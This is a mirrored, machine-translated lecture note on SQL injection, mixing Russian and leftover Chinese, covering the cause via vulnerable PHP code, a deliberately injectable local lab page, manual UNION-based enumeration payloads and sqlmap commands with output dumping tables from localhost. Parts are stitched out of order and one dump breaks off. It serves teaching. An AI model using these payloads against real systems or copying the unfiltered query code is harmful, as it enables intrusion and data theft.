1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wizardforcel-mst-sec-lecture-notes

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
В этом репозитории не указан файл с открытой лицензией (LICENSE). При использовании обратитесь к конкретному описанию проекта и его зависимостям в коде.
Клонировать/Скачать
漏洞篇 SQL注入.md 18 КБ
Копировать Редактировать Web IDE Исходные данные Просмотреть построчно История
gitlife-traslator Отправлено 27.11.2024 00:48 d9e190e

Мист Блэйт: обучение, уязвимости. Инъекция SQL

Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)

Редактор: Летающий дракон (https://github.com/)

Лицензия: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0/)

Принцип и вред

SQL-инъекция — это внедрение SQL-кода в строку ввода данных, которая передаётся на сервер СУБД. Если приложение доверяет данным пользователя и не фильтрует входные строки, то внедренный код будет выполнен базой данных.

Злоумышленники могут использовать SQL-инъекцию для выполнения различных вредоносных действий, таких как снятие защиты, выполнение команд, создание веб-оболочек и доступ к конфиденциальной информации системы.

Приведённый пример иллюстрирует различные виды ущерба, который может быть нанесён с помощью SQL-инъекции.

Причины

Рассмотрим следующий фрагмент кода (в видео используется другой код, так как он более подходит для объяснения, поэтому здесь приведён этот фрагмент):

$un = @$_POST['un'];
$pw = @$_POST['pw'];

// ...

$sql = "select * from user where un='$un' and pw='$pw'";

В этом коде параметры un и pw извлекаются из HTTP-запроса без фильтрации. Затем они используются в SQL-запросе.

Если злоумышленник отправит значение un, равное admin, и значение pw, равное ' or '1'='1 (вместо реального пароля), то весь SQL-запрос будет выглядеть следующим образом:

select * from user where un='admin' and pw='' or '1'='1'

Этот запрос всегда будет возвращать истину, что позволит злоумышленнику обойти проверку подлинности.

Создание среды (дополнительно)

Видеоролик, на котором демонстрируется программа, найти не удалось, поэтому я решил создать демонстрационную среду самостоятельно. Однако процесс создания такой среды аналогичен.

Что касается баз данных, то разные базы данных используют разные конфигурации и диалекты SQL, и методы, работающие на одной базе данных, могут не работать на другой. Тем не менее, около 70% веб-сайтов используют MySQL, поэтому эта статья будет посвящена только MySQL.

Вы можете скачать DVWA и создать экспериментальную среду на своём компьютере. Если это кажется сложным, вы можете написать скрипт для создания среды. Здесь я покажу вам, как создать такую среду локально.

Сначала создайте таблицу sqlinj в любой базе данных и вставьте в неё некоторые данные:

drop table if exists sqlinj;
create table if not exists sqlinj (
    id int primary key auto_increment,
    info varchar(32)
);
insert into sqlinj values (1, "item #1");

Здесь мы создали таблицу sqlinj, в которую добавили одну запись. На самом деле, достаточно добавить одну запись, чтобы увидеть эффект.

Затем сохраните следующий код как sql.php:

<form method="GET" action="">
    ID:
    <input type="text" name="id" />
    <input type="submit" value="查询" />
</form>
<?php
// 改成自己机子上的配置:
$host = '';
$port = 3306;
$un = '';
$pw = '';
$db = '';

$id = @$_GET['id'];
if($id == '')
    return;
$conn = @mysql_connect($host . ':' . $port, $un, $pw);
if(!$conn)
    die('数据库连接错误:' . mysql_error());
mysql_select_db($db, $conn);
$sql = "select id, info from sqlinj where id=$id";
$res = mysql_query($sql, $conn);
if(!$res)
    die('数据库错误:'. mysql_error());
$num = mysql_num_rows($res);
if($num == 0)
{ 
    echo "<p>ID:$id</p>";
    echo "<p>无此记录</p>";
}
else
{
    $row = mysql_fetch_row($res);
    echo "<p>ID:$id</p>";
    echo "<p>Info:${row[1]}</p>";
}
mysql_close($conn);

Запустите php -S 0.0.0.0:80 в каталоге файла и перейдите по адресу http://localhost/sql.php, после чего можно выполнять различные операции.

Ручная инъекция: на основе эха

На основе эха означает, что страница отображает информацию из базы данных, и мы можем отобразить нужные нам данные на странице с помощью инъекции. Обычно страницы, которые отображают связанную информацию (например, заголовки сообщений или содержание), считаются основанными на эхо.

Определение точки инъекции

Мы устанавливаем id равным 1 and 1=1, и информация отображается нормально.

Устанавливаем id равным 1 and 1=2, и отображается «без этой записи».

Это указывает на то, что здесь может быть точка инъекции.

Определение количества столбцов

Далее нам нужно определить количество столбцов в результате запроса, чтобы мы могли использовать union позже. Мы создаём запрос:

id=1 order by ?

где знак вопроса заменяется числами от 1 до N. Один за другим пробуем эти числа. Когда мы достигаем определённого числа N, возникает ошибка, и количество столбцов равно N - 1.

Например, здесь я сначала попробовал 1 и ошибки не возникло:

Пробуем 2 и также ошибки нет, затем пробуем 3 и получаем ошибку. Это означает, что количество столбцов равно 2.

Определение отображаемого столбца

Теперь мы можем создать запрос:

1 and 1=2 union select 1,2

Информация отображается во втором столбце, и есть только один столбец с информацией.

Запрос имени пользователя и имени базы данных

В MySQL есть функция current_user, которая отображает имя пользователя, и функция database, которая отображает текущее имя базы данных. Поскольку существует только одна позиция отображения, для удобства мы можем использовать функцию concat для одновременного отображения информации.

1 and 1=2 union select 1,concat(current_user(),' ',database())

Имя пользователя здесь — root, а имя базы данных — test. Если мы столкнёмся с этим в реальной ситуации, мы сможем сделать вывод, что у нас есть права root.

Подсчёт количества таблиц

В MySQL есть база данных под названием information_schema, которая хранит метаданные о базах данных и таблицах. В ней есть две важные таблицы: одна называется tables, которая содержит метаданные таблиц, включая два важных столбца: table_schema — имя связанной базы данных и table_name — имя таблицы. Другая называется columns, которая содержит исходные данные столбцов, где table_name является именем таблицы, а column_name — именем столбца.

1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()

Здесь мы используем функцию count для подсчёта количества таблиц, всего семь. Здесь мы запрашиваем только текущую базу данных, если мы хотим запросить все, мы можем удалить предложение where.

Запрашиваем имена таблиц

Поскольку он может отображать только одну запись, мы используем предложение limit для определения отображаемой записи. Предложение limit имеет формат limit m,n, где m — начальная позиция, начинающаяся с нуля, а n — количество записей. Мы создадим запрос:

1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
``` **Python 之后,执行:**

pip install sqlmap


**然后:**  

C:\Users\asus> sqlmap
___
H
___ [,]__ ___ ___ {1.1#pip}
|' -| . ['] | .'| . |
|| [']|||__,| |
|
|V |
| http://sqlmap.org

Usage: sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help

Press Enter to continue...


### 判断注入点  

直接使用 `-u` 命令把 URL 给 SqlMap 会判断注入点。  

sqlmap -u http://localhost/sql.php?id=


要注意这样 sqlmap 会判断所有的动态参数,要指定某个参数,使用 `-p`:  

sqlmap -u http://localhost/sql.php?id= -p id


**Результат:**  

[*] starting at 12:05:40

[12:05:40] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[12:05:40] [INFO] testing connection to the target URL
[12:05:41] [INFO] heuristics detected web page charset 'utf-8'
[12:05:41] [INFO] testing if the target URL is stable
[12:05:42] [INFO] target URL is stable
[12:05:44] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:05:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]


Sqlmap сообщил о том, что параметр `id` может быть подвержен инъекции.  

Если параметр находится в HTTP-запросе или Cookie, можно использовать `--data <data>` и `--cookie <cookie>` для отправки данных.  

### Получение базы данных и имени пользователя  

`--dbs` используется для получения всех имён баз данных, `--current-db` — для получения текущей базы данных, а `--current-user` — для получения текущего пользователя.  

C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id --current-db

...

[12:10:44] [INFO] fetching current database
[12:10:54] [INFO] retrieved: test
current database: 'test'
[12:10:54] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'

[*] shutting down at 12:10:54


### Получение имён таблиц  

`-D` используется для указания имени базы данных; если оно не указано, то будут получены имена всех таблиц в базе данных. `--tables` используется для получения имён таблиц.  

C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test --tables

...

[12:13:25] [INFO] fetching tables for database: 'test'
[12:13:28] [INFO] the SQL query used returns 7 entries
[12:13:30] [INFO] retrieved: email
[12:13:32] [INFO] retrieved: history
[12:13:34] [INFO] retrieved: iris
[12:13:36] [INFO] retrieved: message
[12:13:38] [INFO] retrieved: result
[12:13:40] [INFO] retrieved: sqlinj
[12:13:42] [INFO] retrieved: test_table
Database: test
[7 tables]
+------------+
| email |
| history |
| data |
| message |
| result |
| sqlinj |
| test_table |
+------------+

[12:13:42] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'

[*] shutting down at 12:13:42


### Получение имён столбцов  

`-T` используется для указания таблицы, `--columns` — для получения имён столбцов.  

C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --columns

...

[12:15:02] [INFO] fetching columns for table 'email' in database 'test'
[12:15:04] [INFO] the SQL query used returns 2 entries
[12:15:06] [INFO] retrieved: userid
[12:15:08] [INFO] retrieved: varchar(16)
[12:15:11] [INFO] retrieved: email
[12:15:14] [INFO] retrieved: varchar(32)
Database: test
Table: email
[2 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| email | varchar(32) |
| userid | varchar(16) |
+--------+-------------+

[12:15:30] [INFO] fetched data logged to text files under 'C:\Users\asus.sqlmap\output\localhost'

[*] shutting down at 12:15:30


### Получение записей  

`--dump` используется для получения записей, `-C` — для указания имён столбцов, которые нужно получить. Если `-C` не используется, то будет получена вся таблица.  

C:\Users\asus> sqlmap -u http://localhost/sql.php?id= -p id -D test -T email --dump

...

[12:16:59] [INFO] fetching columns for table 'email' in database 'test'
[12:16:59] [INFO] the SQL query used returns 2 entries
[12:16:59] [INFO] resumed: userid
[12:16:59] [INFO] resumed: varchar(16)
[12:16:59] [INFO] resumed: email
[12:16:59] [INFO] resumed: varchar(32)
[12:16:59] [INFO] fetching entries for table 'email' in database 'test'
[12:17:01] [INFO] the SQL query used returns 2 entries
[12:17:04] [INFO] retrieved: test2@example.com
[12:17:06] [INFO] retrieved: 123
[12:17:08] [INFO] retrieved: wizard.z@qq.com
[12:17:10]


До этого мы обсуждали числовую инъекцию. Если изменить SQL-запрос с 
```php
$sql = "select id, info from sqlinj where id=$id";

на

$sql = "select id, info from sqlinj where id='$id'";

то при тестировании могут возникнуть ситуации, когда и 1=1, и 1=2 являются истинными.

1.jpg

2.jpg

В этом случае мы не знаем, была ли фильтрация или действительно есть точка инъекции. Поэтому мы можем изменить параметр, используя одинарную кавычку для закрытия предыдущей кавычки, а затем использовать символ комментария (# или --), чтобы закомментировать оставшуюся часть кавычек:

1' and 1=1 #
1' and 1=2 #
1' order by ? #
...

Приложение

Опубликовать ( 0 )

Вы можете оставить комментарий после Вход в систему

1
https://api.gitlife.ru/oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
git@api.gitlife.ru:oschina-mirror/wizardforcel-mst-sec-lecture-notes.git
oschina-mirror
wizardforcel-mst-sec-lecture-notes
wizardforcel-mst-sec-lecture-notes
master